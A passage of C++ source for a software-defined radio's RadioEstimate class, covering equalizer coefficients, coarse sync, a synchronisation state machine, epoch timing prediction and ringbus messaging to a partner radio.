channel_angle_sent_temp[index] = channel_angle_sent[index] + channel_angle[index];\n            equalizer_coeff_sent[index] = angle_to_ishort(channel_angle_sent_temp[index],mag_coeff);\n        }\n\n        for(int index = 3; index<1023; index+=4)\n        {\n            channel_angle_sent_temp[index] = channel_angle_sent[index] + channel_angle[index+1];\n            equalizer_coeff_sent[index] = angle_to_ishort(channel_angle_sent_temp[index],mag_coeff);\n        }\n\n        for(int index = 5; index<1024; index+=4)\n        {\n            channel_angle_sent_temp[index] = channel_angle_sent[index] + channel_angle[index-1];\n            equalizer_coeff_sent[index] = angle_to_ishort(channel_angle_sent_temp[index],mag_coeff);\n        }\n    }\n\n\n    // for flip positive and negative frequency\n    // eventually, we do not need this part.\n    for(int index = 1; index < 512; index++)\n    {\n        uint32_t temp = equalizer_coeff_sent[index];\n\n        equalizer_coeff_sent[index] = equalizer_coeff_sent[1024-index];\n        equalizer_coeff_sent[1024-index] = temp;\n    }\n\n    updateChannelFilterIndex();\n    \n\n\n    cheq_done_flag = true;\n    \n\n    times_dsp_run_channel_est++;\n\n    saveChannel();\n\n    sto_delta = calculateEqStoDelta();\n    applyEqToSto();\n}\n\n\n\n\nvoid RadioEstimate::dspRunChannelEstEqAllScAllPilot(void) {\n    \n    const double mag_coeff = 32767.0 / GET_EQ_MAGNITUDE_DIVISOR();\n\n    std::unique_lock<std::mutex> lock(_channel_angle_sent_mutex);\n\n    // default value of 0 degrees\n    equalizer_coeff_sent = defaultEqualizerCoeffSent(mag_coeff);\n\n    if(array_index == 0)\n    {\n        // sc % 4 == 2\n        for(int index = 1; index<1024; index++)\n        {\n            channel_angle_sent_temp[index] = channel_angle_sent[index] + channel_angle[index];\n            equalizer_coeff_sent[index] = angle_to_ishort(channel_angle_sent_temp[index],mag_coeff);\n        }\n    }\n    else if(array_index == 1)\n    {\n        for(int index = 1; index<1024; index++)\n        {\n            channel_angle_sent_temp[index] = channel_angle_sent[index] + channel_angle[index];\n            equalizer_coeff_sent[index] = angle_to_ishort(channel_angle_sent_temp[index],mag_coeff);\n        }\n    }\n\n\n    // for flip positive and negative frequency\n    // eventually, we do not need this part.\n    for(int index = 1; index < 512; index++)\n    {\n        uint32_t temp = equalizer_coeff_sent[index];\n\n        equalizer_coeff_sent[index] = equalizer_coeff_sent[1024-index];\n        equalizer_coeff_sent[1024-index] = temp;\n    }\n\n    updateChannelFilterIndex();\n    \n\n\n    cheq_done_flag = true;\n    \n\n    times_dsp_run_channel_est++;\n\n    saveChannel();\n\n    sto_delta = calculateEqStoDelta();\n    // applyEqToSto();\n}\n\n\nvoid RadioEstimate::resetBER() {\n    cout << \"Resetting BER calculations and Phase\" << endl;\n    for(auto& n : demod_est) {\n        n.bits_correct = 0;\n        n.bits_wrong = 0;\n    }\n\n    // demod_est_common_phase = -1;\n}\n\n\n// returns false if success\n// true if error\n// this considers tx_coarse_est and also\n// sends an estimate to our partner\nbool RadioEstimate::chooseCoarseSync() {\n    auto sz = tx_coarse_est.size();\n    auto ones = 0;\n    // int min_index = -1;\n    for(size_t i = 0; i < sz; i++) {\n        if(tx_coarse_est[i]) {\n            ones++;\n        }\n        // tx_coarse_est_mag\n    }\n\n    if( ones > 4) {\n        cout << \"too many ones\" << endl;\n        return true;\n    }\n\n    if( ones < 2 ) {\n        cout << \"too few ones\" << endl;\n        return true;\n    }\n\n    // bool found = false;\n    // auto streak = 0;\n    // size_t idx;\n    // for(size_t i = 0; i < sz*2; i++) {\n    //      idx = i % sz;\n    //     if(tx_coarse_est[idx]) {\n    //         streak++;\n    //     } else {\n    //         streak = 0;\n    //     }\n\n    //     if( streak == ones-1) {\n    //         found = true;\n    //         cout << \"picking index \" << idx << \" i \" << i << endl;\n    //         break;\n    //     }\n    // }\n\n    // if(!found) {\n    //     return true;\n    // }\n\n    auto minptr = std::min_element( tx_coarse_est_mag.begin(), tx_coarse_est_mag.end() );\n    size_t idx = minptr - tx_coarse_est_mag.begin();\n    cout << \"picking index \" << idx << endl;\n\n    // where did we leave things at the end of guess and check?\n    auto current_advance = (coarse_estimates-1) * coarse_bump;\n    auto desired = (idx) * coarse_bump;\n    auto delta_advance = current_advance - desired;\n\n    if( current_advance != desired ) {\n        // always backwards\n        cout << \"Calculated advance of \" << delta_advance << \" (\" << delta_advance / coarse_bump << \")\" << endl;\n        dsp->setPartnerSfoAdvance(peer_id, delta_advance, 3);\n    }\n\n    // setPartnerSfoAdvance\n    return false;\n}\n\n// void RadioEstimate::triggerRxMeasureCoarse() {\n\n// }\n\n// void RadioEstimate::monitorRxMeasureCoarse() {\n// }\n\n\nvoid RadioEstimate::triggerCoarse() {\n    trigger_coarse = true;\n    coarse_finished = false;\n}\n\nvoid RadioEstimate::runSoapyCoarseSyncFSM() {\n    \n    int next = coarse_state;\n    switch(coarse_state) {\n        case 0:\n\n            if( trigger_coarse ) {\n                trigger_coarse = false;\n                next = 1;\n                tx_coarse_est.resize(0);\n                tx_coarse_est_mag.resize(0);\n                saved_times_coarse_estimated = times_coarse_estimated+coarse_wait;\n            }\n            break;\n        case 1:\n            if(saved_times_coarse_estimated == times_coarse_estimated) {\n                tx_coarse_est.push_back(coarse_ok);\n                if(coarse_ok) {\n                    tx_coarse_est_mag.push_back(coarse_delta);\n                } else {\n                    tx_coarse_est_mag.push_back(9E15); // large number\n                }\n                saved_times_coarse_estimated += coarse_wait;\n                dsp->setPartnerSfoAdvance(peer_id, coarse_bump, 4);\n                // cout << \"trying next\" << endl;\n            }\n            if( tx_coarse_est.size() == coarse_estimates ) {\n                next = 2;\n            }\n            break;\n        case 2:\n            for(size_t i = 0; i < tx_coarse_est.size(); i++)\n            {\n                auto n = tx_coarse_est[i];\n                auto mag = tx_coarse_est_mag[i];\n                cout << n << \" - \" << mag << endl;\n            }\n            cout << endl << endl;\n            chooseCoarseSync();\n            coarse_finished = true;\n            next = 0;\n            break;\n        case 3:\n            break;\n        default:\n            cout << \"invalid state in runSoapyCoarseSyncFSM()\" << endl;\n            break;\n\n    }\n    coarse_state = next;\n    \n}\n\nvoid RadioEstimate::runSoapyCoarseSync() {\n\n    // also works with 2000, and 4000\n    constexpr size_t chunk_size = 3000;\n\n    if(coarse_buf.size() < chunk_size) {\n        return;\n    }\n\n    cout << \"runSoapyCoarseSync() \" << coarse_buf.size() << endl;\n\n    auto coarse_chunk = coarse_buf.get(chunk_size);\n    std::vector<double> mags;\n    mags.resize(chunk_size);\n\n\n    double mmin = 9E20;\n    double mmax = 0;\n    double mean = 0;\n    unsigned int j = 0;\n    for(auto n : coarse_chunk)\n    {\n        double n_imag;\n        double n_real;\n        ishort_to_double(n, n_imag, n_real);\n        double mag = n_real*n_real + n_imag*n_imag;\n        mags[j] = mag;\n        mean += mag;\n\n        mmin = min(mmin, mag);\n        mmax = max(mmax, mag);\n\n        // cout << mag << endl;\n        j++;\n    }\n    mean /= chunk_size;\n\n    double variance = 0;\n    for(unsigned int i = 0; i < chunk_size; i++) {\n        variance += (mags[i] - mean) * 2;\n        // variance += mags[i]*mags[i];\n    }\n\n    // variance /= chunk_size;\n\n    // variance = std::sqrt(variance);\n    \n\n    constexpr double coarse_thresh = 3.32082e+06;\n    constexpr double coarse_thresh_mean = 1.2e+07;\n\n    coarse_delta = mmax - mmin;\n\n    // variance -1.47793e-09 mean 1162.54 min 0 max 9925 (9925)\n\n\n    if( coarse_delta <= coarse_thresh && mean > coarse_thresh_mean ) {\n        coarse_ok = true;\n    } else {\n        coarse_ok = false;\n    }\n\n    if( !prev_coarse_ok && coarse_ok ) {\n        cout << \"Coarse Sync just became OK \" << coarse_ok << endl;\n\n\n        cout << \"variance \" << variance << \" mean \" << \n        mean << \" min \" << mmin << \" max \" << \n        mmax << \" (\" << coarse_delta << \")\" << endl;\n\n\n    } else if( prev_coarse_ok && !coarse_ok ) {\n        cout << \"Coarse Sync just became BAD\" << endl;\n    }\n\n    prev_coarse_ok = coarse_ok;\n\n    times_coarse_estimated++;\n}\n\n\n\n\n// run once\nvoid RadioEstimate::dspSetupDemod() {\n\n\n    cout << \"In dspSetupDemod() with \" << DATA_TONE_NUM << \" enabled\" << endl;\n\n    demod_est.resize(DATA_TONE_NUM);\n    // demod_est_common_phase = -1; // all subcarriers use same phase\n\n    // Note: we are using a c++ \"range based loop\" here\n    // if we use & for the type, we will be able to modify them\n    // this is how we init;\n    \n\n    // print them out\n    // for(auto n : demod_sc_phase) {\n    //     cout << n << endl;\n    // }\n\n}\n\n\n\n\n// returns \n// bool RadioEstimate::mostRecentTxRxDeltaFrame() {\n\n// }\n\n\n\n// bool RadioEstimate::tdmaCondition() {\n//     HiggsTDMA& td = tdma[DATA_SUBCARRIER_INDEX];\n//     return (td.lifetime_rx != 0 || td.lifetime_tx != 0);\n// }\n\n\nvoid RadioEstimate::tickleAllTdma() {\n    dsp->tickle(&demod->tdma_phase);\n    dsp->tickle(&demod->times_matched_tdma_6);\n    dsp->tickle(&demod->data_subcarrier_index);\n    dsp->tickle(&demod->track_demod_against_rx_counter);\n    dsp->tickle(&demod->track_record_rx);\n    dsp->tickle(&demod->last_mode_sent);\n    dsp->tickle(&demod->last_mode_data_sent);\n    dsp->tickle(&demod->td->found_dead);\n    dsp->tickle(&demod->td->sent_tdma);\n    dsp->tickle(&demod->td->lifetime_tx);\n    dsp->tickle(&demod->td->lifetime_rx);\n    dsp->tickle(&demod->td->fudge_rx);\n    dsp->tickle(&demod->td->needs_fudge);\n}\n\n\nvoid RadioEstimate::tickDataAndBackground() {\n\n    demod->run(times_eq_sent);\n    // debugPrintDemod();\n    continualBackgroundEstimates();\n\n    tickleAllTdma();\n\n    // handleDataToEq();\n\n    // demopilotangle();\n\n\n\n    // runSoapyCoarseSync();\n    // runSoapyCoarseSyncFSM(); // run after\n}\n\n\nvoid RadioEstimate::consumePerformance(const uint32_t word) {\n    \n    uint32_t budget_period = 8; // FIXME we can change this later\n\n    uint32_t data = word & 0x00ffffff;\n\n    switch(est_remote_perf) {\n        case 0:\n            if(word == PERF_02_PCCMD) {\n                est_remote_perf = 1;\n            }\n            break;\n        case 1:\n            if( word == (PERF_02_PCCMD | budget_period) ) {\n                est_remote_perf = 2;\n            } else {\n                est_remote_perf = 0;\n            }\n            break;\n        case 2:\n            hold_perf.push_back(data);\n            break;\n        default:\n            break;\n        // case 64:\n    }\n\n    double ave_idle = 0;\n    double ave_cycles = 0;\n    uint32_t ave_i = 0;\n    uint32_t ave_c = 0;\n    double est_result;\n\n    const uint32_t CLOCK_BUDGET_PER_1 = 5120;\n\n    const double total_budget = 1.0 * CLOCK_BUDGET_PER_1 * budget_period;\n\n    if(hold_perf.size() == 64) {\n        // d has cmd stripped already\n        uint32_t i = 0;\n        for(auto d: hold_perf) {\n            if( i % 2 == 0 ) {\n                // cout << \" == 0 \" << d << endl;\n                // idle word\n                ave_idle += d;\n                ave_i++;\n            } else {\n                // cout << \" == 1 \" << d << endl;\n                // time word\n                ave_cycles += d;\n                ave_c++;\n            }\n\n            i++;\n        }\n\n        ave_idle /= ave_i;\n        ave_cycles /= ave_c;\n\n\n\n        // raw value\n        double use_1 = ave_cycles / total_budget;\n\n        // may be adjusted\n        est_result = ave_cycles / total_budget;\n\n        cout << \"r\" << array_index << \" cs20 performance: \" << \"id: \" << ave_idle << \" cyc:\" << ave_cycles << \" use_1: \" << use_1 << \" usage: \" << est_result << endl;\n\n        cpu_load[0] = est_result;\n        dsp->tickle(&cpu_load[0]);\n\n        hold_perf.erase(hold_perf.begin(), hold_perf.end());\n        est_remote_perf = 0; // reset state\n    }\n}\n\n\n// calculates the current estimated clock on higgs.\n// this is done using now() and the most recent estimate we've gotten\nepoc_frame_t RadioEstimate::predictScheduleFrame(int &error, const bool useCalibrated, const bool print) const {\n    error = (!epoc_valid) ? 1:0;\n\n    // take now, and calculate duration since we last wrote to epoc_estimated\n    auto now = std::chrono::steady_clock::now();\n    auto elapsed_time = chrono::duration_cast<chrono::microseconds>(\n              now-epoc_timestamp).count();\n\n    constexpr double factor = 1.0;\n\n    // figure out how many frames since we last got an estimate\n    double frames_since_est = (elapsed_time / factor / 1E6) * SCHEDULE_FRAMES_PER_SECOND;\n    int frame_number = int(frames_since_est) % SCHEDULE_FRAMES;\n\n    if(print) {\n        std::cout << \"Elapsed time (us): \" << elapsed_time << std::endl;\n        std::cout << \"Total frames since start: \" << frames_since_est << std::endl;\n        std::cout << \"Current OFDM frame number: \" << frame_number << std::endl;\n    }\n\n    epoc_frame_t ret;\n    if( useCalibrated ) {\n        ret = getCalibratedEpoc();\n    } else {\n        ret = epoc_estimated;\n    }\n\n    // based on how long since we got an estimate, add frames and return\n    ret = add_frames_to_schedule(ret, (uint32_t)frames_since_est);\n\n    return ret;\n\n}\n\n\n// calculates the current estimated clock on higgs.\n// this is done using now() and the most recent estimate we've gotten\nuint32_t RadioEstimate::predictLifetime32(int &error, const bool print) const {\n\n    error = (!epoc_valid) ? 1:0;\n\n    // take now, and calculate duration since we last wrote to epoc_estimated\n    auto now = std::chrono::steady_clock::now();\n    auto elapsed_time = chrono::duration_cast<chrono::microseconds>(\n              now-epoc_timestamp).count();\n\n    constexpr double factor = 1.0;\n\n    // figure out how many frames since we last got an estimate\n    const double frames_since_est = (elapsed_time / factor / 1E6) * SCHEDULE_FRAMES_PER_SECOND;\n    // int frame_number = int(frames_since_est) % SCHEDULE_FRAMES;\n\n    if( unlikely(frames_since_est < 0.0) ) {\n        cout << \"Warning: negative frames_since_est\\n\";\n    }\n\n    // epoc_frame_t ret = epoc_estimated;\n    // (epoc_frame_t) epoc_estimated;\n\n    const uint64_t tmp = schedule_to_pure_frames(epoc_estimated);\n\n    uint32_t ret = ((uint32_t)tmp) + int(frames_since_est);\n\n\n    if(unlikely(print)) {\n        std::cout << \"Elapsed time (us): \" << elapsed_time << std::endl;\n        std::cout << \"Total frames since start: \" << frames_since_est << std::endl;\n        std::cout << \"Tmp: \" << tmp << std::endl;\n        // std::cout << \"Current OFDM frame number: \" << frame_number << std::endl;\n    }\n\n\n\n    // based on how long since we got an estimate, add frames and return\n    // ret = add_frames_to_schedule(ret, (uint32_t)frames_since_est);\n\n    return ret;\n\n}\n\n\n// returns valid / only the latest value since a clear\nstd::pair<bool, int32_t> RadioEstimate::getEpocRecentReply(bool clear) const {\n    bool valid = epoc_recent_reply_frames_valid;\n    if(valid) {\n        if( clear ) {\n            valid = false;\n        }\n        return std::pair<bool, int32_t>(valid, epoc_recent_reply_frames);\n    } else {\n        return std::pair<bool, int32_t>(valid, epoc_recent_reply_frames);\n    }\n}\n\nvoid RadioEstimate::handleFillLevelReplyDuplex(const uint32_t word) {\n\n\n    const int32_t delta = schedule_parse_delta_ringbus(word);\n\n    // was applyFillLevelToMember()\n    {\n        epoc_recent_reply_frames = delta;\n        epoc_recent_reply_frames_valid = true;\n    }\n\n\n\n    cout << \"lifetime_delta represented as frames \" << delta << endl;\n\n\n    if( abs(epoc_recent_reply_frames) > (SCHEDULE_FRAMES*2) ) {\n        cout << \"lifetime_delta is WAY out of estimate\" << endl;\n    }\n    map_mov_acks_received++;\n\n}\n\nepoc_frame_t RadioEstimate::getCalibratedEpoc() const {\n    epoc_frame_t cal = adjust_frames_to_schedule(epoc_estimated, epoc_calibration);\n    // if( epoc_calibration != 0) {\n    //     cout << \"getCalibratedEpoc operating with delta of \" << epoc_calibration << endl;\n    // }\n    return cal;\n}\n\n\n// same underlying data as handleEpocReply() but a more efficient way\n// this is running on print ringbus thread, probably needs a lock or some shit\nvoid RadioEstimate::consumeContinuousEpoc(const uint32_t word) {\n    epoc_timestamp = std::chrono::steady_clock::now();\n\n    uint32_t cmd_type = word & 0xff000000;\n    uint32_t cmd_data = word & 0x00ffffff;\n    switch(cmd_type) {\n        case TX_PROGRESS_REPORT_PCCMD:\n            epoc_estimated.frame = cmd_data;\n            // cout << \"Continuous Progress: \" << epoc_estimated.frame << \", \" << epoc_estimated.frame/512 << endl;\n            break;\n        case TX_EPOC_REPORT_PCCMD:\n            epoc_estimated.frame = 0;\n            epoc_estimated.epoc = cmd_data;\n            epoc_valid = true; // gets set to false very infrequently\n            cout << \"Continuous Epoc Second: \" << epoc_estimated.epoc << endl;\n            break;\n        default:\n            cout << \"illegal type passed to consumeContinuousEpoc\" << endl;\n            break;\n    }\n    \n}\n\n\nuint32_t RadioEstimate::getEqHash(const std::vector<uint32_t>& eq) {\n    uint32_t res0 = xorshift32(1, eq.data(), eq.size());\n    return res0;\n}\n\nvoid RadioEstimate::dispatchAttachedRb(const uint32_t word) {\n    cout << \"parent class dispatchAttachedRb()\" << endl;\n}\n\n// look for a hash\n// the rx side puts a hash in eq_hash_expected when it sends a hash to tx side\n// first we loop through eq_hash_expected and erase any expired entries\n// then we look for the word\nvoid RadioEstimate::eqHashCompare(const uint32_t word) {\n    auto now = std::chrono::steady_clock::now();\n    uint64_t now_age = std::chrono::duration_cast<std::chrono::microseconds>( \n        now - init_timepoint\n        ).count();\n\n    constexpr uint64_t max_age = 1E6*10;\n\n    // cout << \"Started with \" << eq_hash_expected.size() << \" ideal eq to search\\n\";\n\n    bool search_expired = true;\n    while(search_expired) {\n        search_expired = false;\n        for(auto it = eq_hash_expected.begin(); it != eq_hash_expected.end(); ++it) {\n            uint32_t ideal_word;\n            uint64_t ideal_age;\n            std::tie(ideal_word, ideal_age) = *it;\n\n            if( (now_age - ideal_age) > max_age ) {\n                eq_hash_expected.erase(it);\n                search_expired = true;\n                break;\n            }\n            // uint ideal_word;\n        }\n    }\n\n    // cout << \"After prune there were \" << eq_hash_expected.size() << \" ideal eq to search\\n\";\n\n    bool hash_found = false;\n    for(auto it = eq_hash_expected.begin(); it != eq_hash_expected.end(); ++it) {\n        uint32_t ideal_word;\n        uint64_t ideal_age;\n        std::tie(ideal_word, ideal_age) = *it;\n        if( word == ideal_word ) {\n            eq_hash_expected.erase(it);\n            hash_found = true;\n            break;\n        }\n\n        // uint ideal_word;\n    }\n\n    if( hash_found ) {\n        cout << \"Correct Eq hash found \" << HEX32_STRING(word) << \"\\n\";\n    } else {\n        cout << \"!!!!!!!!!!!!!!\\n\";\n        cout << \"!!!!!!!!!!!!!!\\n\";\n        cout << \"!!!!!!!!!!!!!!  did not find eq hash of \" << HEX32_STRING(word) << \"\\n\";\n    }\n\n}\n\n// gets called twice by dispatchRemoteRb\n// tx side forwards us two ringbus which are the result of the hash of an eq\n// that we sent to cs20 on tx side\nvoid RadioEstimate::handleEqHashReply(const uint32_t word) {\n    uint32_t upper = word & 0xff0000;\n    uint32_t data = word & 0xffff;\n\n    // cout << \"handleEqHashReply \" << eq_hash_state << \", \" << upper <<  \"\\n\";\n\n    if( eq_hash_state == 0 ) {\n        if( upper == 0x00000 ) {\n            eq_hash_word = data;\n            eq_hash_state = 1;\n        }\n    } else {\n        if( upper == 0x10000 ) {\n            eq_hash_word |= data << 16;\n            eqHashCompare(eq_hash_word);\n            // cout << \"called\\n\";\n        }\n        eq_hash_state = 0;\n        eq_hash_word = 0;\n    }\n}\n\nvoid RadioEstimate::saveIdealEqHash(const std::vector<uint32_t>& eq) {\n    auto now = std::chrono::steady_clock::now();\n    size_t elapsed_us = std::chrono::duration_cast<std::chrono::microseconds>( \n        now - init_timepoint\n        ).count();\n\n    uint32_t hash = getEqHash(eq);\n\n    eq_hash_expected.emplace_back(hash, elapsed_us);\n}\n\n\n// see EventDspFsm.cpp :: dispatchAttachedRb_TX()\n// see                    dspDispatchAttachedRb()\nvoid RadioEstimate::dispatchRemoteRb(const uint32_t word) {\n\n    // cout << \"dispatchRemoteRb got \" << HEX32_STRING(word) << \"\\n\";\n\n    uint32_t data = word & 0x00ffffff;\n    uint32_t cmd_type = word & 0xff000000;\n    (void)data;\n    switch(cmd_type) {\n        case COARSE_SYNC_PCCMD:\n            break;\n        case PERF_02_PCCMD:\n            consumePerformance(word); // pass whole word\n            break;\n        case FEEDBACK_ALIVE:\n            feedback_alive_count++;\n            break;\n\n        case FEEDBACK_HASH_PCCMD:\n            handleEqHashReply(data);\n            break;\n\n        default:\n            break;\n    }\n\n}\n\nvoid RadioEstimate::resetFeedbackBackDetectRemote() {\n    feedback_alive_count = 0;\n}\n\nvoid RadioEstimate::feedbackPingRemote() {\n    dsp->pingPartnerFbBus(peer_id);\n}\n\nvoid RadioEstimate::idleCheckRemoteRing() {\n    for(auto word : remote_rb_buffer) {\n        dispatchRemoteRb(word);\n    }\n\n    auto sz = remote_rb_buffer.size();\n    if( sz ) {\n        // cout << \"erasing size \" << sz << endl;\n    }\n\n    remote_rb_buffer.erase(remote_rb_buffer.begin(), remote_rb_buffer.end());\n}\n\n// some values are directly modified on this object,\n// so we can slow ticle them very time our fsm rolls over\nvoid RadioEstimate::tickleOutsiders() {\n    dsp->tickle(&should_mask_data_tone_tx_eq);\n    dsp->tickle(&should_run_background);\n    dsp->tickle(&should_mask_all_data_tone);\n}\n\n// pass zero length vector to unmask all subcarriers\nvoid RadioEstimate::setMaskedSubcarriers(const std::vector<unsigned>& sc) {\n    if( sc.size() == 0 ) {\n        // function arguments request 0 masked subcarriers\n        // in order to make this happen, we need to send subcarrier zero with index zero\n        raw_ringbus_t rb0 = {RING_ADDR_TX_EQ, SET_MASK_SC_CMD | 0x00000 | 0 };\n        dsp->zmqRingbusPeerLater(peer_id, &rb0, 0);\n        return;\n    }\n\n    // for each subcarrier, send a ringbus with an index\n    // right now cs20 only supports 4 masked ringbus, but cs20 will protect\n    // against larger values\n    for(unsigned i = 0; i < sc.size(); i++) {\n        const uint32_t w = sc[i];\n\n        if( w >= 1024 ) {\n            cout << \"Illegally large subcarrier \" << w << \" passed to setMaskedSubcarriers()\\n\";\n        }\n\n         // same as shift by 16\n        const uint32_t index_bits = (0x10000)*i;\n\n        // pass the index, and the subcarrier, masked to be less than 1024\n        raw_ringbus_t rbx = {RING_ADDR_TX_EQ, SET_MASK_SC_CMD | index_bits | (w&0x3ff) };\n\n        // we pass i as the delay. this leads to 1 us delay between each ringbus\n        // when these make it to the transmit side they will be delayed longer than this \n        // to protect ringbus\n        dsp->zmqRingbusPeerLater(peer_id, &rbx, i);\n    }\n}\n\nvoid RadioEstimate::setPartnerTDMA(const uint32_t dmode, const uint32_t value) {\n    dsp->setPartnerTDMA(peer_id, dmode, value);\n    demod->last_mode_sent = dmode;\n    demod->last_mode_data_sent = value;\n}\n\nvoid RadioEstimate::partnerOp(const std::string s, const uint32_t _sel, const uint32_t _val) {\n\n    auto pack = siglabs::rb::op(s, _sel, _val, GENERIC_OPERATOR_CMD);\n\n    raw_ringbus_t rb0 = {RING_ADDR_TX_PARSE, pack[0] };\n    raw_ringbus_t rb1 = {RING_ADDR_TX_PARSE, pack[1] };\n    dsp->zmqRingbusPeerLater(peer_id, &rb0, 0);\n    dsp->zmqRingbusPeerLater(peer_id, &rb1, 1);\n}\n\nvoid RadioEstimate::setTDMASc() {\n    dsp->setPartnerTDMASubcarrier(peer_id, getScForTransmitTDMA());\n}\n\nvoid RadioEstimate::maskAllSc() {\n    // Mask all subcarriers we know about.\n    // This works, because if a subcarrier is masked and also designated for TDMA\n    // TDMA takes priority\n    const auto mask_sc = getAllTransmitTDMA();\n    cout << \"r\" << array_index << \" Masking \" << mask_sc.size() << \" subcarriers\\n\";\n    setMaskedSubcarriers(mask_sc);\n}\n\n\n#pragma GCC diagnostic push\n#pragma GCC diagnostic ignored \"-Wunused-value\"\nvoid RadioEstimate::tick_localfsm()\n{\n    // cout<<\"Hello World!!!!!\"<<endl; \n    \n    struct timeval tv = DEFAULT_NEXT_STATE_SLEEP;\n    size_t __timer = __UNSET_NEXT__;\n    size_t __imed = __UNSET_NEXT__;\n    size_t next = __UNSET_NEXT__;\n\n    if( fsm_event_pending != NOOP_EV && fsm_event_pending != most_recent_event.d0) {\n        // cout << \"tick_localfsm() \" << this->array_index << \" sleeping\" << endl;\n        tv = _1_SECOND_SLEEP;\n        evtimer_add(localfsm_next_timer, &tv);\n        return;\n    } else if( fsm_event_pending != NOOP_EV && fsm_event_pending == most_recent_event.d0) {\n        // continue\n        cout << \"matching  fsm_event_pending == most_recent_event.d0 \" << endl;\n        cout << \"radio_state \" << radio_state << \" \" << radio_state_pending << endl;\n        fsm_event_pending = NOOP_EV; // no event\n    } else {\n        // should be normal\n    }\n\n    radio_state = radio_state_pending;\n    dsp->tickle(&radio_state);\n\n\n    switch(radio_state) {\n\n        case DID_BOOT: {\n                cout << \"r\" << array_index << \" set DID_BOOT\" << endl;\n\n                if( GET_RE_FSM_TYPE() == \"js\") {\n                    next = GO_NOW(DEBUG_STALL); // stall this fsm, because js will do it\n                } else {\n                    next = GO_EVENT(PRE_SFO_STATE_0, REQUEST_FINE_SYNC_EV); // normal operations\n                }\n\n                // only use this if working with something like test_qam_5\n                constexpr bool force_demod = false;\n                if( force_demod ) {\n\n                    // was setTdmaSyncFinished()\n                    demod->setDemodEnabled(false);\n                    soapy->demodThread->dropSlicedData = false;\n\n                    // HiggsTDMA& td = tdma[DATA_SUBCARRIER_INDEX];\n                    // td.lifetime_rx = 1;\n                    // td.lifetime_tx = 1;\n                    times_eq_sent = 1;\n                }\n            }\n\n            break;\n        \n        case PRE_SFO_STATE_0:\n                _prev_sfo_est = times_sfo_estimated+1;\n                cout << \"r\" << array_index << \" PRE_SFO_STATE_0 \" << times_sfo_estimated << endl;\n                // dsp->ringbusPeerLater(peer_id, RING_ADDR_CS11, COOKED_DATA_TYPE_CMD | 1, 1);\n                next = GO_AFTER(SFO_STATE_0, _500_MS_SLEEP);\n            break;\n\n        case SFO_STATE_0:\n            if(times_sfo_estimated - _prev_sfo_est == GET_SFO_ESTIMATE_WAIT() ) {\n            // if(1){\n                cout << \"r\" << array_index << \" SFO_STATE_0 counter matched\" << endl;\n                auto failure = sfoState();\n                if(!failure) {\n                    next = GO_AFTER(STO_0, _1_MS_SLEEP);\n                    cout << \"r\" << array_index << \" Exiting SFO_STATE_0\" << endl;\n                    _prev_sto_est = times_sto_estimated;\n                }\n                else\n                {\n                    next = GO_AFTER(SFO_STATE_0, _1_MS_SLEEP);\n                }\n                _prev_sfo_est = times_sfo_estimated;\n            }\n            break;\n\n        case STO_0:\n            if( GET_STO_SKIP() ) {\n                cout << \"r\" << array_index << \" SKIPPING STO_0!\\n\";\n                sendEvent(MAKE_EVENT(RADIO_ENTERED_BG_EV,array_index));\n                next = GO_NOW(WAIT_EVENTS);\n            } else if(times_sto_estimated - _prev_sto_est == 2) {\n            // if(1) {\n                auto failure = stoState();\n                if(!failure) {\n\n                    // note we don't check counter for this jump\n                    next = GO_AFTER(STO_EQ_0, _8_SECOND_SLEEP);\n\n                    // _prev_cfo_est = times_cfo_estimated;\n                    \n                    cout << \"r\" << array_index << \" Exiting STO_0\" << endl;\n                } else {\n\n\n                    // reset this so we will try in 2 times\n                    _prev_sto_est = times_sto_estimated;\n                }\n            }\n            break;\n\n       case STO_EQ_0:\n\n            ///////////////\n            // \n            // Used to manually bump sfo to a wrong value on purpose\n            if(false) {\n                sfo_estimated += 0.02;\n                updatePartnerSfo();\n            }\n///\n       /// applies one time eq according to margin\n       ///\n             ////////////////////////////////////////dspRunStoEq(1.0);\n\n             // setting 2nd to true sort of skips logic due to\n             // times_eq_sent. fixme re-look at this logic\n             /////////////////////////////////////////////////////////updatePartnerEq(false, false);\n\n\n             _prev_cfo_est = times_cfo_estimated;\n             next = GO_AFTER(CFO_0, _1_MS_SLEEP);\n             // next = GO_AFTER(CFO_0, _8_SECOND_SLEEP);\n             cout << \"r\" << array_index << \" Exiting STO_EQ_0\" << endl;\n             break;\n\n\n        case CFO_0:\n\n            if(times_cfo_estimated - _prev_cfo_est == 2) {\n            // if(1) {\n                cout << \"r\" << array_index << \" CFO_0 counter matched\" << endl;\n                auto failure = cfoState();\n                if(!failure) {\n                    cout << \"Radio \" << array_index << \" Exiting CFO_0\" << endl;\n                    next = GO_AFTER(BACKGROUND_SYNC, _1_MS_SLEEP);\n                }\n                else\n                {\n                     next = GO_AFTER(CFO_0, _1_MS_SLEEP);\n                }\n                _prev_cfo_est = times_cfo_estimated;\n\n            }\n            break;\n        case BACKGROUND_SYNC:\n  \n            print_pilot_angle_switch = true;\n\n             // event_active(background_sync_next, EV_WRITE, 0);\n            cout << \"r\" << array_index << \" above startBackground()\" << endl;\n            startBackground(); // kick off\n            sendEvent(MAKE_EVENT(RADIO_ENTERED_BG_EV,array_index));\n            /////////////////////next = GO_NOW(WAIT_EVENTS);\n            GO_NOW(RE_FINESYNC);\n            break;\n\n        case RE_FINESYNC:\n\n             sfoState();\n\n             if(((uint32_t)(abs(sto_estimated))>>STO_ADJ_SHIFT) >0)\n             {\n                updatePartnerSto(((uint32_t)(abs(sto_estimated))>>STO_ADJ_SHIFT));\n             }\n\n             // if(aaa == 2)\n             // {\n             //   next = GO_AFTER(RE_FINESYNC, _12_SECOND_SLEEP);\n             // }\n             // else\n             // {\n             //    next = GO_AFTER(RE_FINESYNC, _4_SECOND_SLEEP);\n             // }\n\n             next = GO_AFTER(RE_FINESYNC, _2_SECOND_SLEEP);\n             \n\n             \n\n             break;\n\n        // warning: putting very large sleep times\n        // will interrupt demodulated data due to code in handle_radios_tick()\n        case WAIT_EVENTS:\n            // This event fires when we want to TDMA sync the first time\n            // This will adjust TDMA\n            if(most_recent_event.d0 == REQUEST_TDMA_EV &&\n                most_recent_event.d1 == array_index) {\n                clearRecentEvent();\n                next = GO_NOW(GOT_TDMA_REQUEST);\n            }\n\n\n            // This will only check TDMA (I guess it does reset/reaquire the phase)\n            // however it will not adjust\n            if(most_recent_event.d0 == CHECK_TDMA_EV &&\n                most_recent_event.d1 == array_index) {\n                clearRecentEvent();\n                next = GO_NOW(RECHECK_TDMA_0);\n            }\n\n\n            break;\n\n        case GOT_TDMA_REQUEST:\n     